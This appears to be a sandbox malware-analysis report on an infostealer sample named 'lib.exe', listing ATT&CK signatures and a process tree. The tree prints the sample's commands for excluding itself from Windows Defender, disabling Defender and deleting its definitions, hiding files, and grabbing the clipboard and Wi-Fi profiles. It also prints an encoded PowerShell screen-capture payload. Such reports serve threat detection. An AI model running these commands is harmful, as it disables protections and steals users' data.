4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976

Analysis

user interaction
yes
max time kernel
6s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/11/2026, 12:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lib.exe
Size 10.3MB
Sample261103-ptp76ssvbx
SHA256 4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976
MD5 085cfdecb9ca681c276a602067ee2707
SHA1 b1fef1d1fd87b057c045ac951892e3acb034dbc2
SHA512 1c43d14a619a8df829d34568916155e62777bd17c0a5039c19f64b3252586ab3f46fd673a8bdbac1dc069cdd591b2596d7cadac0afd8324ffd4d8a6cf59be043
SSDEEP 196608:hD2QUqpeZwmW165jZIP/gvELpYTS0Mzyp4ZAM9qxz/gcrbMyDn5by:hDSSqvIyT/Mzyp4Z/wOcrbBby
TLSH
T106B6334967E811F2ECE750BD9666E83ABB7AF8011F95C68F433853302E175E14A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2696	powershell.exe
2872	powershell.exe
396	powershell.exe
1544	powershell.exe
644	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
396	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1236	cmd.exe
2052	powershell.exe

Loads dropped DLL 18 IoCs

pid	Process
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe
2020	lib.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
13	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2600	tasklist.exe
1452	tasklist.exe
2636	tasklist.exe
1252	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1644	cmd.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000243dc-34.dat	upx
behavioral1/memory/2020-38-0x00007FFE42C80000-0x00007FFE432EB000-memory.dmp	upx
behavioral1/files/0x00070000000243d8-42.dat	upx
behavioral1/files/0x00070000000243ca-41.dat	upx
behavioral1/files/0x00070000000243c9-47.dat	upx
behavioral1/files/0x00070000000243cd-49.dat	upx
behavioral1/memory/2020-71-0x00007FFE54940000-0x00007FFE5496B000-memory.dmp	upx
behavioral1/files/0x00070000000243cc-75.dat	upx
behavioral1/files/0x00070000000243d7-76.dat	upx
behavioral1/files/0x00070000000243d9-80.dat	upx
behavioral1/memory/2020-84-0x00007FFE42740000-0x00007FFE42C71000-memory.dmp	upx
behavioral1/memory/2020-87-0x00007FFE50570000-0x00007FFE505A3000-memory.dmp	upx
behavioral1/memory/2020-89-0x00007FFE54CF0000-0x00007FFE54CFD000-memory.dmp	upx
behavioral1/memory/2020-97-0x00007FFE4FD80000-0x00007FFE4FF0A000-memory.dmp	upx
behavioral1/files/0x00070000000243ee-101.dat	upx
behavioral1/memory/2020-103-0x00007FFE4FCC0000-0x00007FFE4FD72000-memory.dmp	upx
behavioral1/memory/2020-102-0x00007FFE42C80000-0x00007FFE432EB000-memory.dmp	upx
behavioral1/files/0x00070000000243ed-96.dat	upx
behavioral1/memory/2020-95-0x00007FFE51110000-0x00007FFE51135000-memory.dmp	upx
behavioral1/files/0x00070000000243d2-94.dat	upx
behavioral1/memory/2020-88-0x00007FFE4FF10000-0x00007FFE4FFDE000-memory.dmp	upx
behavioral1/memory/2020-83-0x00007FFE547F0000-0x00007FFE54806000-memory.dmp	upx
behavioral1/memory/2020-82-0x00007FFE54930000-0x00007FFE5493F000-memory.dmp	upx
behavioral1/memory/2020-86-0x00007FFE548B0000-0x00007FFE548BD000-memory.dmp	upx
behavioral1/memory/2020-85-0x00007FFE547D0000-0x00007FFE547E9000-memory.dmp	upx
behavioral1/files/0x00070000000243d3-79.dat	upx
behavioral1/files/0x00070000000243df-78.dat	upx
behavioral1/files/0x00070000000243d1-77.dat	upx
behavioral1/files/0x00070000000243d4-73.dat	upx
behavioral1/files/0x00070000000243d0-72.dat	upx
behavioral1/memory/2020-70-0x00007FFE54C90000-0x00007FFE54CAA000-memory.dmp	upx
behavioral1/files/0x00070000000243cf-64.dat	upx
behavioral1/files/0x00070000000243ce-63.dat	upx
behavioral1/files/0x00070000000243cb-61.dat	upx
behavioral1/files/0x00070000000243c8-60.dat	upx
behavioral1/files/0x00070000000243db-53.dat	upx
behavioral1/memory/2020-45-0x00007FFE58F80000-0x00007FFE58F8F000-memory.dmp	upx
behavioral1/memory/2020-43-0x00007FFE54970000-0x00007FFE54997000-memory.dmp	upx
behavioral1/memory/2020-207-0x00007FFE54970000-0x00007FFE54997000-memory.dmp	upx
behavioral1/memory/2020-294-0x00007FFE50570000-0x00007FFE505A3000-memory.dmp	upx
behavioral1/memory/2020-295-0x00007FFE4FF10000-0x00007FFE4FFDE000-memory.dmp	upx
behavioral1/memory/2020-293-0x00007FFE42740000-0x00007FFE42C71000-memory.dmp	upx
behavioral1/memory/2020-335-0x00007FFE4FD80000-0x00007FFE4FF0A000-memory.dmp	upx
behavioral1/memory/2020-337-0x00007FFE51110000-0x00007FFE51135000-memory.dmp	upx
behavioral1/memory/2020-321-0x00007FFE42C80000-0x00007FFE432EB000-memory.dmp	upx
behavioral1/memory/2020-355-0x00007FFE42C80000-0x00007FFE432EB000-memory.dmp	upx
behavioral1/memory/2020-377-0x00007FFE547F0000-0x00007FFE54806000-memory.dmp	upx
behavioral1/memory/2020-382-0x00007FFE4FF10000-0x00007FFE4FFDE000-memory.dmp	upx
behavioral1/memory/2020-381-0x00007FFE50570000-0x00007FFE505A3000-memory.dmp	upx
behavioral1/memory/2020-380-0x00007FFE548B0000-0x00007FFE548BD000-memory.dmp	upx
behavioral1/memory/2020-379-0x00007FFE547D0000-0x00007FFE547E9000-memory.dmp	upx
behavioral1/memory/2020-378-0x00007FFE42740000-0x00007FFE42C71000-memory.dmp	upx
behavioral1/memory/2020-376-0x00007FFE54930000-0x00007FFE5493F000-memory.dmp	upx
behavioral1/memory/2020-375-0x00007FFE54CF0000-0x00007FFE54CFD000-memory.dmp	upx
behavioral1/memory/2020-374-0x00007FFE54C90000-0x00007FFE54CAA000-memory.dmp	upx
behavioral1/memory/2020-373-0x00007FFE58F80000-0x00007FFE58F8F000-memory.dmp	upx
behavioral1/memory/2020-372-0x00007FFE54970000-0x00007FFE54997000-memory.dmp	upx
behavioral1/memory/2020-371-0x00007FFE54940000-0x00007FFE5496B000-memory.dmp	upx
behavioral1/memory/2020-370-0x00007FFE4FCC0000-0x00007FFE4FD72000-memory.dmp	upx
behavioral1/memory/2020-369-0x00007FFE4FD80000-0x00007FFE4FF0A000-memory.dmp	upx
behavioral1/memory/2020-368-0x00007FFE51110000-0x00007FFE51135000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	lib.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
3904	WMIC.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3256	cmd.exe
3788	cmd.exe
3492	cmd.exe
2800	cmd.exe
3340	cmd.exe
1620	cmd.exe
3540	cmd.exe
5028	cmd.exe
1872	cmd.exe
4304	cmd.exe
4920	cmd.exe
2340	cmd.exe
4800	cmd.exe
536	cmd.exe
3056	cmd.exe
4372	cmd.exe
3808	cmd.exe
5040	cmd.exe
4672	cmd.exe
2132	cmd.exe
4380	cmd.exe
208	cmd.exe
4572	cmd.exe
1080	cmd.exe
2720	cmd.exe
1820	cmd.exe
1624	cmd.exe
212	cmd.exe
1252	cmd.exe
2068	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	lib.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	lib.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2800	cmd.exe
4596	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4572	cmd.exe
5068	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2816	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2896	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4596	PING.EXE

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2696	powershell.exe
2696	powershell.exe
2696	powershell.exe
396	powershell.exe
396	powershell.exe
2872	powershell.exe
2872	powershell.exe
2052	powershell.exe
2052	powershell.exe
3712	powershell.exe
3712	powershell.exe
2872	powershell.exe
2052	powershell.exe
396	powershell.exe
3712	powershell.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2600	tasklist.exe
Token: SeDebugPrivilege	1452	tasklist.exe
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeIncreaseQuotaPrivilege	4416	WMIC.exe
Token: SeSecurityPrivilege	4416	WMIC.exe
Token: SeTakeOwnershipPrivilege	4416	WMIC.exe
Token: SeLoadDriverPrivilege	4416	WMIC.exe
Token: SeSystemProfilePrivilege	4416	WMIC.exe
Token: SeSystemtimePrivilege	4416	WMIC.exe
Token: SeProfSingleProcessPrivilege	4416	WMIC.exe
Token: SeIncBasePriorityPrivilege	4416	WMIC.exe
Token: SeCreatePagefilePrivilege	4416	WMIC.exe
Token: SeBackupPrivilege	4416	WMIC.exe
Token: SeRestorePrivilege	4416	WMIC.exe
Token: SeShutdownPrivilege	4416	WMIC.exe
Token: SeDebugPrivilege	4416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4416	WMIC.exe
Token: SeRemoteShutdownPrivilege	4416	WMIC.exe
Token: SeUndockPrivilege	4416	WMIC.exe
Token: SeManageVolumePrivilege	4416	WMIC.exe
Token: 33	4416	WMIC.exe
Token: 34	4416	WMIC.exe
Token: 35	4416	WMIC.exe
Token: 36	4416	WMIC.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2636	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4416	WMIC.exe
Token: SeSecurityPrivilege	4416	WMIC.exe
Token: SeTakeOwnershipPrivilege	4416	WMIC.exe
Token: SeLoadDriverPrivilege	4416	WMIC.exe
Token: SeSystemProfilePrivilege	4416	WMIC.exe
Token: SeSystemtimePrivilege	4416	WMIC.exe
Token: SeProfSingleProcessPrivilege	4416	WMIC.exe
Token: SeIncBasePriorityPrivilege	4416	WMIC.exe
Token: SeCreatePagefilePrivilege	4416	WMIC.exe
Token: SeBackupPrivilege	4416	WMIC.exe
Token: SeRestorePrivilege	4416	WMIC.exe
Token: SeShutdownPrivilege	4416	WMIC.exe
Token: SeDebugPrivilege	4416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4416	WMIC.exe
Token: SeRemoteShutdownPrivilege	4416	WMIC.exe
Token: SeUndockPrivilege	4416	WMIC.exe
Token: SeManageVolumePrivilege	4416	WMIC.exe
Token: 33	4416	WMIC.exe
Token: 34	4416	WMIC.exe
Token: 35	4416	WMIC.exe
Token: 36	4416	WMIC.exe
Token: SeDebugPrivilege	3712	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 2020	628	lib.exe	84
PID 2020 wrote to memory of 4920	2020	lib.exe	86
PID 2020 wrote to memory of 4304	2020	lib.exe	87
PID 2020 wrote to memory of 1644	2020	lib.exe	88
PID 2020 wrote to memory of 4372	2020	lib.exe	92
PID 4920 wrote to memory of 2696	4920	cmd.exe	94
PID 2020 wrote to memory of 1872	2020	lib.exe	95
PID 2020 wrote to memory of 208	2020	lib.exe	96
PID 2020 wrote to memory of 3808	2020	lib.exe	99
PID 208 wrote to memory of 2600	208	cmd.exe	101
PID 2020 wrote to memory of 1236	2020	lib.exe	102
PID 1644 wrote to memory of 4412	1644	cmd.exe	139
PID 1872 wrote to memory of 1452	1872	cmd.exe	105
PID 4372 wrote to memory of 2872	4372	cmd.exe	106
PID 4304 wrote to memory of 396	4304	cmd.exe	107
PID 2020 wrote to memory of 2340	2020	lib.exe	109
PID 2020 wrote to memory of 4800	2020	lib.exe	111
PID 2020 wrote to memory of 4572	2020	lib.exe	113
PID 2020 wrote to memory of 1820	2020	lib.exe	115
PID 3808 wrote to memory of 4416	3808	cmd.exe	117
PID 2020 wrote to memory of 5040	2020	lib.exe	118
PID 2020 wrote to memory of 2768	2020	lib.exe	119
PID 1236 wrote to memory of 2052	1236	cmd.exe	122
PID 2340 wrote to memory of 2636	2340	cmd.exe	123
PID 4800 wrote to memory of 4464	4800	cmd.exe	124
PID 1820 wrote to memory of 2896	1820	cmd.exe	125
PID 4572 wrote to memory of 5068	4572	cmd.exe	126
PID 2768 wrote to memory of 3712	2768	cmd.exe	127
PID 5040 wrote to memory of 4580	5040	cmd.exe	128
PID 2020 wrote to memory of 3340	2020	lib.exe	129
PID 3340 wrote to memory of 3188	3340	cmd.exe	131
PID 2020 wrote to memory of 2068	2020	lib.exe	132
PID 2068 wrote to memory of 936	2068	cmd.exe	134
PID 2020 wrote to memory of 4380	2020	lib.exe	135
PID 2020 wrote to memory of 4672	2020	lib.exe	137
PID 4380 wrote to memory of 4412	4380	cmd.exe	139
PID 2020 wrote to memory of 1620	2020	lib.exe	140
PID 3712 wrote to memory of 4000	3712	powershell.exe	141

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2892	attrib.exe
4412	attrib.exe
4404	attrib.exe

C:\Users\Admin\AppData\Local\Temp\lib.exe
"C:\Users\Admin\AppData\Local\Temp\lib.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:628
- C:\Users\Admin\AppData\Local\Temp\lib.exe
  "C:\Users\Admin\AppData\Local\Temp\lib.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe"
      4⤵
      Views/modifies file attributes
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌‌ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌‌ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3808
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAa